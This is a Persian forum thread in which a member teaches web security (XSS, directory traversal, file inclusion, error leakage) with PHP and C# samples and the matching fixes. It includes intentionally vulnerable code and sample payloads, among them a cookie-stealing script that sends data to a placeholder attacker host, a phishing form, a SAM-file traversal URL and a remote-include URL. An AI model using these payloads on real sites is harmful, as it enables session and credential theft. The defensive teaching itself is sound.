PDA

View Full Version : امنیت در نرم افزار های تحت وب



houtanal
پنج شنبه 25 فروردین 1384, 04:40 صبح
سلام
سر شب به طور اتفاقی سایت یکی از بچه ها رو که از نظر من برنامه نویس بسیار تواییه رو داشتم نگاه می کردم .از روی کنجکاوی چند تکنیک ساده SQL injection و cross site scripting رو روی برنامش تست کردم و خوشبختانه دیدم تا حد زیادی در برابر این گونه حملات محافظت شده.
اما
اما تنها با صرف کمی وقت بیشتر تونستم یک رشته پرس و جوی sql و یک حمله ساده XSS رو بر روی برنامش اجرا کنم.

از اونجایی که اکثر برنامه های نوشته شده تحت وب که پتانسیل بالایی برای این گونه حملات دارند (و متاسفانه بسیاری از برنامه نویسان هموطن این موضوع رو در نظر نمی گیرن)در این تاپیک تصمیم دارم روش های محافظت از برنامه های تحت وب رو کمی توضیح بدم.(انشااله فردا پس فردا اولیش)
اگر نظری چیزی دارین بگین ولی خواهشا از ارسال پست های فضایی در این تاپیک خودداری کنید :oops:

همکاران
برادر titbasoft (کد های C#)

houtanal
جمعه 26 فروردین 1384, 02:41 صبح
توضیحات:
اسکریپت های زیر با php نوشته شده اند.
کار بسیار زیبایست اگر دوستان معادل asp - asp.net -jsp -...... رو هم بنویسند تا به مقاله اضافه شود.(لطفا از طریق pm بفرستید که با ویرایش بتونم در متن مقاله قرار دهم)
در این اسکریپت ها فرض شده magic_quotes_gpc=off است (البته در این مقاله و بعدی فرق چندانی نمی کنه و در مقالات آینده طرز عبور از این گونه فیلتر ها هم گفته می شود)

کار با متغییر های ini
رک.
http://www.barnamenevis.org/forum/viewtopic.php?p=123516

houtanal
جمعه 26 فروردین 1384, 02:49 صبح
با توجه به توسعه روز افزون برنامه های کاربردی تحت وب هر برنامه نویسی که در این زمینه فعالیت می کند ملزم است که حملات رایج به این گونه برنامه ها را شناخته و از بروز آن ها جلوگیری کند.
سلسله مقالات ذیل مقدمه ایست بر حمله های رایج و نحوه دفاع در برابر آن ها.در این مقالات با انواع حملات Cross site scripting و sql injection آشنا می شوید و خواهید آموخت چگونه از بروز آن ها در برنامه های خود جلوگیری کنید.

بخش اول آشنایی با Cross site scripting
در این گونه حملات فرد نفوذ گر بر روی استفاده کننده از برنامه شما فوکوس می کند.وی با استفاده از تگهای ساده HTML به یوزر های شما حمله خواهد کرد.
مثال:
برنامه زیر با استفاده از یک فایل اطلاعات را از کاربران گرفته و نمایش میدهد.(چیزی شبیه به یک فوروم خیلی ساده)
برنامه الگوی 1: PHP mode))



<?PHP
$filename="1";

if (isset($_POST&#91;'comment']) and !empty($_POST&#91;'comment'])){
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}
// Write $somecontent to our opened file.
if (fwrite($handle, $_POST&#91;'comment']."\n") === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}

echo "Success, wrote ".$_POST&#91;'comment'] ." to file ($filename)";

fclose($handle);

}

?>
<form action="" method="POST">
<p>
<textarea name="comment" cols="50"></textarea>
</p>
<p>
<input type="submit" name="Submit2" value="Submit">
</p>
</form>
<?PHP
// get contents of a file into a string
$handle = @fopen($filename, "r");
$contents = @fread($handle, filesize($filename));
echo nl2br($contents);
@fclose($handle);
?>



C#


private void Page_Load&#40;object sender, System.EventArgs e&#41;
&#123;
string filename = "1";
if &#40;Page.IsPostBack&#41;
&#123;
System.IO.StreamWriter sr = System.IO.File.CreateText&#40;filename&#41;;

// safe
sr.WriteLine &#40;System.Web.HttpUtility.HtmlEncode&#40;TextBox1.Text&#41;&#41; ;

// unsafe
//sr.WriteLine &#40;TextBox1.Text&#41;;

sr.Close&#40;&#41;;
&#125;

if &#40;System.IO.File.Exists&#40;filename&#41;&#41;
&#123;
System.IO.StreamReader sr = System.IO.File.OpenText&#40;filename&#41;;
string input ;
if &#40;&#40;input =sr.ReadLine&#40;&#41;&#41;!=null&#41;
Response.Write&#40;input&#41;;
sr.Close&#40;&#41;;
&#125;
&#125;


تا اینجا همه چیز عادیست . یک یوزر مثلا جمله "سلام دنیا" را در textbox می نویسد و پس از ذخیره در فایل این جمله نمایش داده میشود.
حال این عبارت را تست کنید:


&lt;script>alert&#40;document.domain&#41;&lt;/script>
با توجه به اینکه عبارت قرار داده شده در فایل عینا بر روی صفحه ظاهر خواهد شد مرورگر کاربر کدها را تفسیر و اجرا میکند.بنابراین اسکریپت فوق دقیقا همانند اینکه در برنامه شما به صورت پیش فرض وجود داشته باشد اجرا خواهد شد!
یک مثال جالبتر:


&lt;form name="form1" method="post" action="http&#58;//mysite.com/datastealer.php">
&lt;p>Enter your password , email or something
&lt;input name="password" type="text" id="password">
&lt;input type="submit" name="Submit" value="Submit">
&lt;/form>

سایت شما مورد اعتماد کاربر است بنابراین وی اطلاعات شخصی خود را با توجه به اینکه به شما اعتماد دارد وارد خواهد کرد.و این اطلاعات به اسکریپت نفوذ گر منتقل شده و ذخیره میشوند!

اما این تنها نمایی از خطر این گونه حملات است.شاید فکر کنید در صورتیکه یوزرهای شما آگاه باشند چندان هم در خطر نیستید.اما صبر کنید هنوز تکنیک های زیرکانه تری برای یک مهاجم باقیست
با هم یک مثال عملی از دزدیده شدن اطلاعات کاربری را بررسی می کنیم:
1- مهاجم یک برنامه ساده ثبت اطلاعات در وب سایت خود مینویسد.که بدینوسیله اطلاعات را دریافت و ثبت می کند.
http://hackerswebsite.com/recordscript.php?information=[data]
بدین ترتیب که هر داده ای که جای دیتا قرار داده شود ثبت خواهد شد.
2- وی این کد را در برنامه الگو1 وارد می کند.


&lt;script>document.location.replace&#40;http&#58;//hackerswebsite.com/recordscript.php?information='+document.cookie&#41;;&lt;/script>
وی به سادگی کوکی ها و session ID های کاربر شما را دزدید!

راه حل:
تبدیل کاراکتر های ویژه html همانند &lt; ، > ، &amp; ، ‘ ، “ ، و سایر کاراکتر هایی که ممکن است مورد سواستفاده قرار گیرند به معادل کاراکتری آن ها برای مثال تابع زیر این کار را در PHP برای شما انجام میدهد:

string htmlspecialchars &#40; string string &#91;, int quote_style &#91;, string charset&#93;&#93;&#41;
تنها با عوض کردن این خط


if &#40;fwrite&#40;$handle, $_POST&#91;'comment'&#93;."\n"&#41; === FALSE&#41; &#123;
در برنامه الگو1 و تبدیل آن به


if &#40;fwrite&#40;$handle, htmlspecialchars&#40;$_POST&#91;'comment'&#93;&#41;."\n"&#41; === FALSE&#41; &#123;
برنامه فوق تا حد زیادی در برابر این سطح از حملات ایمن شده.اما توجه کنید همان طور که گفتم تکنیک های زیرکانه تری نیز وجود دارد که در مقالات بعدی به آن ها خواهیم پرداخت.
هدف من در این مقاله آشنایی ابتدایی شما یا حملات Cross site scripting که XSS نیز نامیده می شوند بود در مقالات بعدی این بحث را دنبال خواهیم کرد.
تگ های خطرناک:


HTML Tag Description
&#91;b&#93;&lt;SCRIPT>&#91;/b&#93; Adds a script that is to be used in the document.

Attributes&#58;
• type = Specifies the language of the script. Its value must be a media type &#40;e.g. text/javascript&#41;. This attribute is required by the HTML 4.0 specification and is a recommended replacement for the “language” attribute.
• language = Identifies the language of the script, such as JavaScript or VBScript.
• src = Specifies the URL of an outside file containing the script to be loaded and run with the document. &#40;Netscape only&#41;
Supported by&#58; Netscape, IE 3+, HTML 4, Opera 3+

&#91;b&#93;&lt;OBJECT>&#91;/b&#93;
Places an object &#40;such as an applet, media file, etc.&#41; on a document. The tag often contains information for retrieving ActiveX controls that IE uses to display the object.
Attributes&#58;
• classid = Identifies the class identifier of the object.
• codebase = Identifies the URL of the object’s codebase.
• codetype = Specifies the media type of the code. Examples of code types include audio/basic, text/html, and image/gif. &#40;IE and HTML 4.0 only&#41;
• data = Specifies the URL of the data used for the object.
• name = Specifies the name of the object to be referenced by scripts on the page.
• standby = Specifies the message to display while the object loads.
• type = Specifies the media type for the data.
• usemap = Specifies the imagemap URL to use with the object.
Supported by&#58; Netscape, IE, HTML 4

&#91;b&#93;&lt;APPLET> &#91;/b&#93;
Used to place a Java applet on a document. It is depreciated in the HTML 4.0 specification in favour of &lt;object> tag.
Attributes&#58;
• code = Specifies the class name of the code to be executed &#40;required&#41;.
• codebase = The URL from which the code is retrieved.
• name = Names the applet for reference elsewhere on the page.
Supported by&#58; Netscape, IE 3+, HTML 4

&#91;b&#93;&lt;EMBED>&#91;/b&#93;
Embeds an object into the document. Embedded objects are most often multimedia files that require special plug-ins to display. Specific media types and their respective plug-ins may have additional proprietary attributes for controlling the playback of the file. The closing tag is not always required, but is recommended. The tag was dropped by the HTML 4.0 specification in favour of the &lt;object> tag.
Attributes&#58;
• hidden = Hides the media file or player from view when set to yes.
• name = Specifies the name for the embedded object for later reference within a script.
• pluginspage = Specifies the URL for information on installing the appropriate plug-in.
• src = Provides the URL to the file or object to be placed on the document. &#40;Netscape 4+ and IE 4+ only&#41;
• code = Specifies the class name of the Java code to be executed. &#40;IE only&#41;
• codebase = Specifies the base URL for the application. &#40;IE only&#41;
• pluginurl = Specifies a source for installing the appropriate plug-in for the media file. &#40;Netscape only&#41;
• type = Specifies the MIME type of the plug-in needed to run the file. &#40;Netscape only&#41;
Supported by&#58; Netscape, IE 3+, Opera 3+
&lt;FORM> Indicates the beginning and end of a form.
Attributes&#58;
• action = Specifies the URL of the application that will process the form.
• enctype = Specifies how the values for the form controls are encoded when they are submitted to the server.
• method = Specifies which HTTP method will be used to submit the form data.
• target = Specifies a target window for the results of the form submission to be loaded &#40; _blank, _top, _parent, and _self&#41;.


سئوالی ، نظری ، ایده ای چیزی دارین دریغ نفرمایید اما کما فی السابق از ارسال پست های فضایی (مثلا : من می خوام پسورد مسنجر رو در بیارم از این روش چجوریه؟!!!!) خودداری نمایید :mrgreen:

Developer Programmer
جمعه 26 فروردین 1384, 09:40 صبح
بسیار ممنون
خواهشا ASP رو هم در کنار PHP پوشش بدید

houtanal
جمعه 26 فروردین 1384, 13:41 عصر
خواهشا ASP رو هم در کنار PHP پوشش بدید
حملات XSS ربط چندانی به زبان برنامه نویسی سرور ساید شما ندارد.این حملات صرفا بر روی خروجی HTML برنامه و تفسیر مرورگر کاربر از آن متمرکز شده.
در حملات sql injection هم بر اساس نوع بانک اطلاعاتی توضیح میدم.

این که گفتم یکی asp و سایر زبان های سرور ساید رو بنویسه تنها برای اینه که برنامه های الگوی استفاده شده در مقالات بعنوان نمونه و تست برای نمامی کاربرانی که ممکن است php روی سیستمشون نصب نباشه قابل اجرا در محیط عملی باشه.
در الگوی 1 برنامه تنها کاری که می کند یک ورودی را از کاربر گرفته و در یک فایل ذخیره می کند سپس محتویات فایل را نمایش میدهد.فکر کنم نوشتنش با asp و .net کار دو سه دقیقه باشه.

houtanal
سه شنبه 30 فروردین 1384, 02:09 صبح
در بخش قبل تا جایی پیش رفتیم که برنامه نویس با فیلتر کردن کاراکتر هایی مانند ‘ ، “ ، &lt; ، > و ... جلوی تزریق اسکریپت به برنامه را می گرفت.
برای مثال این ورودی


&lt;script>alert&#40;document.domain&#41;&lt;/script>
به این صورت ذخیره می شد


&amp;lt;script&amp;gt;alert&#40;document.domain&#41;&amp;lt;/script&amp;gt;
فیلتر کردن این کاراکتر ها کمک بسیار زیادی برای جلوگیری از حملات XSS و تا حدودی Sql injection می نماید.
اما هنوز تکاتی مانده!

به برنامه الگو 2 توجه کنید:


&lt;?PHP
$filename="2";

if &#40;isset&#40;$_GET&#91;'comment'&#93;&#41; and !empty&#40;$_GET&#91;'comment'&#93;&#41;&#41;&#123;
if &#40;!$handle = fopen&#40;$filename, 'a'&#41;&#41; &#123;
echo "Cannot open file &#40;$filename&#41;";
exit;
&#125;
// Write $somecontent to our opened file.
if &#40;fwrite&#40;$handle, "&lt;img src='".htmlspecialchars&#40;$_GET&#91;'comment'&#93;&#41;."'>"."\n"&#41; === FALSE&#41; &#123;
echo "Cannot write to file &#40;$filename&#41;";
exit;
&#125;

echo "Success, wrote";

fclose&#40;$handle&#41;;

&#125;

?>
&lt;form action="" method="GET">
&lt;p>
&lt;textarea name="comment" cols="50">&lt;/textarea>
&lt;/p>
&lt;p>
&lt;input type="submit" name="Submit2" value="Submit">
&lt;/p>
&lt;/form>
&lt;?PHP
// get contents of a file into a string
$handle = @fopen&#40;$filename, "r"&#41;;
$contents = @fread&#40;$handle, filesize&#40;$filename&#41;&#41;;
echo nl2br&#40;$contents&#41;;
@fclose&#40;$handle&#41;;
?>


نمونه C#


private void Page_Load&#40;object sender, System.EventArgs e&#41;
&#123;
string filename = "1";
if &#40;Page.IsPostBack&#41;
&#123;
System.IO.StreamWriter sr = System.IO.File.CreateText&#40;filename&#41;;

//unsafe
sr.WriteLine &#40;"&lt;img src='" + System.Web.HttpUtility.HtmlEncode&#40;TextBox1.Text&#41; + "'>"&#41;;

sr.Close&#40;&#41;;
&#125;

if &#40;System.IO.File.Exists&#40;filename&#41;&#41;
&#123;
System.IO.StreamReader sr = System.IO.File.OpenText&#40;filename&#41;;
string input ;
if &#40;&#40;input =sr.ReadLine&#40;&#41;&#41;!=null&#41;
Response.Write&#40;input&#41;;
sr.Close&#40;&#41;;
&#125;
&#125;

این برنامه آدرس یک عکس را از کاربر گرفته در یک فایل ذخیره می کند و عکس مورد نظز را نمایش خواهد داد.برای تزریق اسکریپت من چنین چیزی را در فرم وارد می کنم برنامه آن را یک آدرس ساده در نظر گرفته و سعی در نمایش آن خواهد کرد!


Javascript&#58;alert&#40;document.domain&#41;

با توجه به نتیجه برنامه ما هنوز آسیب پذیر است!
راه حل:
در این گونه مواقع دقت کنید که کاربر فایلی را که مثلا در اینجا یک عکس بود با پسوند مجاز وارد کند.مثلا GIF – JPG – PNG .

ممکن است برنامه شما به جای عکس آدرس یک لینک را بگیرد.در این صورت هم باز یک مهاجم با همین تکنیک میتواند موفق شود.

نکته:
ممکن است کاربران شما یک فایل فلش را به برنامه بدهند توجه کنید که در تابع getURL() موجود در action script در صورتیکه کدی مثل کد بالا را وارد کنید باز هم همان کار را انجام خواهد داد!(مرورگر ورودی این تابع را تفسیر می کند)در قبول این گونه داده ها هوشیار باشید.

نکته:
از برنامه های کلایت ساید برای پردازش ورودی فرم ها استفاده نکنید.
یک مهاجم به سادگی با ذخیره برنامه شما آن را آنگونه که بخواهد تغییر خواهد داد.
راه حل:
حتما چک کنید که درخواست از مکانی مورد قبول مثلا صفحه دریافت کننده اطلاعات وارد شود.در غیر این صورت آن را قبول نکنید.متاسفانه بسیاری از برنامه نویسان فکر می کنند با انتخاب متد POST جلوی حملات XSS , Sql injection , Directory browsing و ... را گرفته اند.این تصور تصروری کاملا اشتباه است.
مهاجم صفحه شما را ذخیره می کند آن را عوض کرده و به برنامه پردازش اطلاعات ارسال می کند.
برای مثال سیستم های رای گیری مقالات مورد خوبی از این اشتباهات هستند.برنامه نویسان تعدادی گزینه برای رای دهی به یک مقاله یا محصول یا هر چیز دیگری را در صفحه قرار میدهند.یک مهاجم با ذخیره صفحه و تغییر مقدارها می تواند سیسنستم رای گیری شما را املا مختل کند مثلا به گزینه خیلی خوب مقدار -10000 یا هر چیز دیگری را داده و آن را به برنامه پردازش گر ارسال کند در این حالت میانگین این عدد و مقدار پیشین کاملا غیر قابل تصور و غیر منطقی خواهد بود.

در موارد پیشرفته تر یک مهاجم می تواند حتی داده های ارسالی را با نصب یک پروکسی سرور بر روی سیستم خود بین راه دستکاری کند!بنابراین حتما در سمت برنامه پردازش کننده ورودی ها را چک کنید.

نکته آخر:
در صورتیکه الگوریتم فیلتر کذاری خودتان را استفاده می کنید به خاطر داشته باشید که مهاجم الزاما از کاراکتر های &lt; یا > استفاده نمی کند.کد زیر هم می تواند همان کار را انجام دهد


%3CSCRIPT%3Ealert&#40;document.domain&#41;;%3C/SCRIPT%3E

مهاجم می تواند معادل هگزادسیمال یک کاراکتر ASCII را به برنامه شما ارسال کند.


در مجموع حملات Cross site scripting غالبا در دسته حملاتی با ریسک متوسط دسته بندی می شوند.اما فراموش نکنید هر چند همیشه این گونه ضعف ها خطرناک نیست اما می توانند بستری برای ترکیب با تکنیک های دیگر و ... باشند.

فراموش نکنید در اینجا تنها مقدمه برای آشنایی و نحوه جلوگیری از این حملات گفته شد.
در بخش بعدی به حملات Directory browsing خواهیم پرداخت.

Developer Programmer
پنج شنبه 01 اردیبهشت 1384, 18:10 عصر
یک چیز همیشه من رو به خودش مشغول کرده و اون اینکه به فرض ما یه فرم جعلی با Injectionساختیم که بیننده بیچار بیاد و رمز رو وارد کنه تا ما بگیریمش...
این تغییرات که روی سرور اعمال نمیشه و فقط روی سیستم من اعمال میشه و البته فقط بلافاصله بعد از تغییرات من (اگه سایت دیگه ای نرفته باشیم)

jirjirakk
جمعه 02 اردیبهشت 1384, 08:32 صبح
هوتن جان مرسی :) :flower:

houtanal
جمعه 02 اردیبهشت 1384, 17:04 عصر
یک چیز همیشه من رو به خودش مشغول کرده و اون اینکه به فرض ما یه فرم جعلی با Injectionساختیم که بیننده بیچار بیاد و رمز رو وارد کنه تا ما بگیریمش...
این تغییرات که روی سرور اعمال نمیشه و فقط روی سیستم من اعمال میشه و البته فقط بلافاصله بعد از تغییرات من (اگه سایت دیگه ای نرفته باشیم)
در مثال های فوق اگر توجه کنی می بینی که اطلاعات در یک فایل ذخیره شده.حالا تو این رو کمی گسترش بده.
تو میتونی در صورتیکه برنامه نویس توجهی به ایمن سازی برنامش نکرده باشه زمانی که یک صفحه دینامیک میخواد اطلاعاتش رو از روی یک فایل یا دیتابیس یا هر چیز دیگه بسازه و به کاربر نمایش بده کدهای html و جاوا اسکریپت رو در صفحه کنترل کنی.
کد مثال ها بسیار ساده است شاید با خوندنش منظورم رو بهتر متوجه شی.

مهدی کرامتی
جمعه 02 اردیبهشت 1384, 18:08 عصر
[آف تاپیک]:

برادر houtanal:

لطفا سیستمی رو که نوشتم یک تست برای نفوذپذیری بکن و نتیجه رو برام PM کن:

http://www.delphiassistant.com

memir
چهارشنبه 07 اردیبهشت 1384, 17:39 عصر
اقای هوتن این رو یک نگاه کن ببین ایرادش چیه به درد می خوره یا نه؟


// control the input values
$i=0;
foreach &#40;$_REQUEST as $element&#41;&#123;
$_REQUEST&#91;$i++&#93; = trim&#40;htmlspecialchars&#40;strip_tags&#40;$element&#41;&#41;&#41;;
&#125;

برای بخش های عمومی سایت مثل login و search و...
ببین چه مشکلی احتمال داره ایجاد کنه؟

houtanal
چهارشنبه 07 اردیبهشت 1384, 22:14 عصر
در مقابل XSS و SQL injection فکر کنم ایمن باشه(در محیط کاربردی و با در نظر گرفتن تمامی پارامتر ها مشخص میشه)

houtanal
جمعه 16 اردیبهشت 1384, 02:44 صبح
در این قسمت به نوعی دیگر از حملات رایج به برنامه های تحت وبی می پردازیم.این گونه حملات بر روی استباهات برنامه نویس در کار با فایل ها یا دایرکتوری ها متمرکز می شود و در برخی مواقع می تواند بسیار بیشتر از حد تصور خطرناک باشد.

اولین نوع به مواقعی بر می گردد که یک برنامه نویس با گرفتن پارامتر ورودی محتویات یک فایل یا دایرکتوری را فراخوانی می کند به برنامه زیر توجه کنید.


&lt;?php
$dir = $_GET&#91;'select'&#93;;
$files1 = @scandir&#40;$dir&#41;;
print_r&#40;$files1&#41;;
?>

این برنامه نام یک دایرکتوری را می گیرد و محتویات آن را نمایش میدهد.این روش برای کار با فایل ها و دارکتوری ها عالیست.بعضا پیش می آید که استفاده هوشمندانه از این روش ها شما را از کار با دیتابیس بی نیاز می کند.اما چه اتفاقی می افتد اگر مهاجم مقدار /.. را به متغییر select بدهد! وی به سادگی قادر به دیدن محتویات دایرکتوری دلخواه خواهد شد. شاید این مسئله در اکثر مواقع خیلی خطرناک نباشد اما معمولا کار با سیستم فایل به همین جا ختم نمیشه ، یک برنامه نویس ممکنه بخواهد با گرفتن آدرس یک فایل محتویات اون رو نمایش بده.(من خودم در خیلی مواقع از این روش استفاده می کنم).حالا برنامه بالا رو کامل می کنیم.


&lt;?php
$filename= $_GET&#91;‘dir’&#93;.$_GET&#91;‘file’&#93;;
$handle = fopen&#40;$filename, "r"&#41;;
$contents = fread&#40;$handle, filesize&#40;$filename&#41;&#41;;
fclose&#40;$handle&#41;;
?>

برنامه دو ورودی دارد ورودی اول نام دایرکتوری است.که در مرحله اول انتخاب می شود .پس ازنمایش فایل های موجود در دایرکتوری و سایر عملیت لازم برنامه نویس به کاربر امکان این را میدهد که یک فایل را انتخاب کرده و مشاهده کند.مثلا در یک سیستم مدیریت اسناد کاربر می تواند با انتخاب دسته بندی و سپس انتخاب فایل به فایل مورد نظر دسترسی داشته باشد.خب تا اینجای کار همه چیز بر طبق روال پیش می ره.اما یک مهاجم با وارد کردن /.. ابتدا به دایرکتوری ریشه و از اونجا به سادگی به هر دایرکتوری که بخواهد دسترسی پیدا کرده و سپس با مقدار دهی با متغییر مربوط به فایل به فایل دلخواه در دایرکتوری مورد نظر دسترسی پیدا می کند.یک مثال عملی:


http&#58;//host/filereader.php?dir=../../WINNT/repair/&amp;file=sam
با این کار مهاجم فایل پشتیبان مربوط به نام های کاربری و پسورد ها را از سیستم ویندوز سرور دانلود می کند.سپس با دادن آن به یک برنامه پسورد کرکر به پسورد های شما دسترسی پیدا میکند.
این مسئله در سیستم های یونیکسی نیز صادق است.فهمیدن این که وب سرور شما بر روی چه سیستم عاملی قرار گرفته کار سختی نیست . پس از فهمیدن مهماجم با مراجعه به مستندات آن سیستم محل قرار گیری فایل های اعتبار سنجی را دریافته و به سراغ آن ها خواهد رفت.
امیدوارم ایده اصلی این گونه آسیب پذیری ها رو درک کرده باشید.این نوع از حملات در حقیقت از توانایی برنامه شما برای کار با دایرکتوری ها سواستفاده می کنند.

راه حل:
برای جلوگیری از این گونه حملات می تونید مکان های مجاز رو به صورت یک آرایه تعریف کنید و سپس قبل از خواندن اطلاعات دایرکتوری مورد نظر چک کنید آیا خواندن این دایرکتوری مجاز هست یا نه.مثلا:


&lt;?php
$permited_dir=array&#40;"dir1","dir2","dir3"&#41;;
if&#40;!in_array&#40;$_GET&#91;'dir'&#93;,$permited_dir&#41;&#41;&#123;
die&#40;"Unpermited directory!"&#41;;
&#125;
?>

راه دیگه اینه که در وب سرور اجازه ندهید یک وب سایت به دایرکتوری های دیگری بجز دایرکتوری مربوط به خودش دسترسی داشته باشد.

اما صبر کنید قضیه همین جا تمام نمی شود.ممکن است شما تمام این کار ها را کرده باشید اما هنوز شما ایمن نیستید!
ممکن است یک مهاجم بر اساس ساختار برنامه شما به بخش هایی که در حالت عادی امکان دسترسی از طریق برنامه را ندارد دسترسی پیدا کند.مثلا شما عکس ها وب سایت خود را به این صورت آدرس دهی می کنید.


Src=”files/images/1.gif”

به هر حا برنامه شما نیازمند است که برای رجوع های اینچنینی از دایرکتوری ها و فایل های تعریف شده در فضای وب سایت استفاده کند.حال اگر مهاجم آدرس زیر را در ن.ار آدرس تایپ کند عکس بالا را خواهد دید.


http&#58;//host/files/images/1.gif
و اگر این را تایپ کند محتویات دایرکتوری را می بیند!


http&#58;//host/files/
در بسیاری از موارد برنامه نویسان فایل های مورد نیاز برنامه یا پشتیبان های گرفته شده از دیتا بیس را با پسوند هایی نظیر inc , sql , … ذخیره می کنند . حال اگر یک مهاجم با روش بالا مکان این فایل ها را پیدا کند دسترسی به آن ها سخت نیست.این فایل ها شامل اطلاعات بسیار با ارزش و حساسیست.بنابراین مهاجم با یک میانبر ساده به اطلاعات حیاتی برنامه شما از قبیل نام کاربری یا کلمات عبور دسترسی پیدا کرده است!
ممکن است شما به کاربرانتان فضایی برای ذخیره اطلاعات و فایل های شخصی بدهید یا مثلا برای دسترسی به یک فایل سطوح کاربری تعریف کنید با این روش دیگر session ها یا کوکی ها یا هر روش اعتبار سنجی دیگری هیچ کاری نمی توانند انجام دهند.
در موارد پیشرفته تر مهاجم با استفاده از برنامه هایی که به spider معروفند به صورت اتوماتیک تمامی لینک های درون سایتی شما را بررسی کرده . تک تک آن ها را کاوش می کند و به اطلاعات مورد نظر دسترسی پیدا میکند.(هر چند شخصا به روش های دستی اطمینان بیشتری دارم)
بعضی از برنامه نویسان با قرار دادن فایل robots.txt در دایرکتوری ریشه سایت خود به این امید که مقام بالاتریدر موتور های جستجو کسب کنند کار را بسیار ساده می کنند . این فایل شامل لیستی از دایرکتوری هاست که روبوت های جستجو می توانند به آن ها دسترسی پیدا کنند یا دسترسی به آن ها ممنوع است.به هر حال موتورهای جستجو توجه چندانی به این گونه فایل ها نمی کنند و این کار تنها کمکیست به مهاجم برای ساده کردن مرحله جمع آوری اطلاعات.

راه حل:
به هیچ وجه فایل های خود را با پسوند هایی مثل inc , sql , ….. و امثالهم ذخیره نکنید.یک وب سرور زمانی که فایلی خارج از نوع فایل هایی که باید آن ها را پردازش کند (مثلا php.) را دریافت کند آن را مستقیما به کاربر تحویل می دهد یا محتوات آن را نمایش میدهد.

در تمام دایرکتوری های برنامه حود که فایل هایی رو در بر دارند یک فایل خالی با نام index.htm قرار دهید.
در وب سرور ها معمولا تعیین می شود که این گونه فایل ها (index.php , default.asp , index. Htm , )
به صورت پیش فرض در صورتیکه از طرف مرورگر کاربر فایل خاصی تقا ضا نشده باشد نمایش داده شوند.
با این روش مهاجم نمی تواند در دایرکتوری های شما کاوش کند.

در آپاچه می تونید mod_dir رو غیر فعال کند.یا برای دایرکتوری ها بوسیله .htaccess سطح دسترسی بذارید.
در آپاچه حتی میتونید بوسیله &lt;directory> مکانیزم های دسترسی را نیز تعیین کنید.

از طرفی در نوع دیگری از حملات فایل و دایرکتوری شما ممکن است با گرفتن یک ورودی فایلی با اون نام رو include کنید در این حالت مهاجم تنها کافیست با دادن ورودی دلخواه به برنامه شما فایل دلخواهش را به برنامه وارد کرده و آن را روی سرور شما اجرا کند.برای مثال


http&#58;//host/viewsomething.php?file=readme.txt

را به


http&#58;//host/viewsomething.php?file=http&#58;//attacker/executecode.php
تبدیل کند.
خملات فوق حتی در پاره ای از موارد می توانند سبب نمایش کد برنامه شما (مثلا index.php) بر روی مرورگر گردند.

در مجموع هر چند حمله به دایکتوری ها فایل ها اکثرا جزو حملاتی با ریسک متوسط دسته بندی می شوند اما در پاره ای موارد بسیار خطرناک هستند.برای مثال آسیب پذیری رابط تحت وب روترهاس سیسکو تقریبا از مشکلی مشابه رنج می برود.

باز هم تکرار می کنم مقالات فوق صرفا برای معرفی حملات رایج است و شما باید ایده کلی آن ها دریافته و با کمی خلاقیت آن را گسترش داده و سپس از بروز آن ها در برنامه خود جلوگیری کنید.

نمونه درست و غلط در C#


private void btnSubmit_Click&#40;object sender, System.EventArgs e&#41;
&#123;
string dirName = TextBox1.Text ;

//==================Unsafe
/*
System.IO.DirectoryInfo di = new System.IO.DirectoryInfo&#40;Server.MapPath&#40;dirName&#41;&#41;;
System.IO.FileInfo&#91;&#93; fi = di.GetFiles&#40;&#41;;
foreach &#40;System.IO.FileInfo fiTemp in fi&#41;
Response.Write &#40;fiTemp.Name + "&lt;BR>"&#41;;
*/

//==================Safe
string dirs = "bin|myDir1|myDir2";
if &#40;dirs.IndexOf&#40;dirName&#41;!=-1 &amp;&amp; dirName.Length > 0&#41;
&#123;
System.IO.DirectoryInfo di = new System.IO.DirectoryInfo&#40;Server.MapPath&#40;dirName&#41;&#41;;
System.IO.FileInfo&#91;&#93; fi = di.GetFiles&#40;&#41;;
foreach &#40;System.IO.FileInfo fiTemp in fi&#41;
Response.Write &#40;fiTemp.Name + "&lt;BR>"&#41;;
&#125;
else
Response.Write&#40;"&lt;font color=red>Access Deny!&lt;/font>"&#41;;
&#125;

در مقاله بعدی چگونگی پنهان سازی یا ایمن سازی متد مورد استفاده در برنامه را خواهم گفت که به جلوگیری از حملاتی که در بالا ذکر شد نیز کمک می نماید.

houtanal
سه شنبه 27 اردیبهشت 1384, 04:46 صبح
اولین تلاش یک مهاجم برای نفوذ به برنامه فهمیدن نحوه عملکرد برنامه شامل چگونگی عملکرد سیستم تشخیص هویت برنامه مثلا چگونگی استفاده از session ها یا کوکی ها ، سیستم پشتیبان گیری برنامه ، نحوه فیلتر کردن ورودی ها ، پیغام های خطا ، الگوریتم های رمز نگاری و ... است.
برای مثال در حملات Sql Injection اولین تلاش مهاجم ورود یک سری کاراکتر های مورد استفاده در نوع حملات مثل ‘ و گرفتن پیغام خطای برنامه می باشد.پیغام های خطای پیش فرض کدی را که موجب ایجاد خطا می گردد رو نمایش داده و در مواردی حتی رشته پرس و جو یا سایر اطلاعات رو نمایش می دهند.
مهاجم با جمع کردن تکنیک های مورد استفاده برای نفوذ بعلاوه نحوه واکنش برنامه در برابر کنش های غیر عادی نقاط ضعف برنامه را شناسایی و از آن ها استفاده می کند.

برای مثال با ساختن دو اکانت مختلف در برنامه هایی که از اعتبار سنجی استفاده می کنند و مقایسه مقادیر و شکل session ها و کوکی ها یک مهاجم به نحوه عملکرد آن ها پی برده و با آنالیز کردن موارد فوق سعی در نفوذ به سیستم می کند.
برای جلوگیری از این گونه مشکلات داده هایی را که در مورد هر کاربر یکتا هستند مثلا پسورد هش شده کاربر ، شماره شناسایی منحصر به فرئ کاربر و ... را در نشت ها یا کوکی ها ست کرده و در هنگام بازخوانی اون ها روبررسی کید.

مورد دیگه عدم نمایش پیغام های خطای پیش فرض در نسخه نهایی برنامه می باشد.برای نمایش پیغام های خطا مواردی را که ممکن است برنامه پیغام خطایی بدهد رو شناسایی و متناسب با آن ها از پیغان های تعریف شده خودتان استفاده کنید مثلا


&lt;?PHP
Mysql_connect&#40;“host”,”user”,”pass”&#41; or die&#40;“Some problem in connecting database”&#41;;
?>

البته در زمان توسعه کد استفاده از روش های مثل کد زیر بسیار مفید خواهد بود اما تا حد امکان در زمان انتشار نسخه نهایی آن ها را اصلاح کنید


&lt;?PHP
Mysql_connect&#40;“host”,”user”,”pass”&#41; or die&#40;“Some problem in connecting database”.mysql_error&#40;&#41;&#41;;
?>

